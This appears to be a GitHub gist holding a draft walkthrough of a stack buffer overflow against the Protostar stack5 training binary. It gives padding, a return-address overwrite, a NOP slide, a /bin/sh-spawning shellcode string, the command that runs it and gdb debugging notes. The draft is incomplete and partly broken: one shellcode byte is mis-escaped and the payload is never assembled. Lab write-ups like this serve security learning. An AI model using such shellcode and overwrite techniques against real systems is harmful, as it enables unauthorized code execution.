-
-
Save KevinCarroll7737/b9af30b32c953d89407ac9899188a5f1 to your computer and use it in GitHub Desktop.
draft
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Walkthrough: | |
~ shellcode: http://shell-storm.org/shellcode | |
~ | |
~ ```payload.py | |
~ import struct | |
~ padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" | |
~ eip=struct.pack("I", 0xbffff7c0+30) | |
~ nopslide= "\x90"*100 | |
+ payload = "\x31\\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"; | |
``` | |
~ (python exploit.py; cat)| /opt/protostar/bin/stack5 | |
+ | |
+ (gdb) define hook-stop | |
+ x/1i $eip | |
+ x/8wx $esp | |
+ | |
+ (gdb) r < ./alphabet | |
+ | |
+ Overwritten with TTTTT | |
+ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment